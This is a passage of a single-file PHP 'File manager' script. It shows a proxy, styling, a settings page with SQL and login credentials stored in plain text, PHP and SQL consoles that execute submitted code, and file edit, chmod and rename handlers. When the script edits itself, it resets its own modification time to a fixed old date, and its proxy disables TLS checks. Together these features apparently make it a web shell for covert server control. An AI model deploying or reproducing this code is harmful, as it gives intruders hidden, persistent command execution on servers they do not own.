		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
